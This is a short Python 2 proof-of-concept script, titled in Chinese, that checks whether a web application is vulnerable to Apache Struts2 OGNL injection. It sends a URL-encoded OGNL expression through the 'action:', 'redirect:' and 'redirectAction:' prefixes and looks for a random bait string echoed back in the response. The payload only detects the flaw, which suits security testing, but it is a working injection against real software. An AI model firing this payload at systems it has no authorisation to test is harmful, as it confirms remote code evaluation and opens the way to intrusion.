struts2漏洞以及测试

# coding: utf-8
import string
import random
import urllib


def poc(url):
    bait = "".join(random.sample(list(string.letters), 32))

    poc = urllib.quote("%{")
    poc += urllib.quote("#test_str=new java.lang.String('{0}'),".format(bait))
    poc += urllib.quote("#a_resp=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),")
    poc += urllib.quote("#a_resp.getWriter().println(#test_str),")
    poc += urllib.quote("#a_resp.getWriter().flush(),")
    poc += urllib.quote("#a_resp.getWriter().close()")
    poc += urllib.quote("}")

    for prefix in ["action:", "redirect:", "redirectAction:"]:
        if bait in urllib.urlopen("{0}?{1}{2}".format(url, prefix, poc)).read():
            return True

    return False


if __name__ == "__main__":
    import sys
    print poc(sys.argv[1])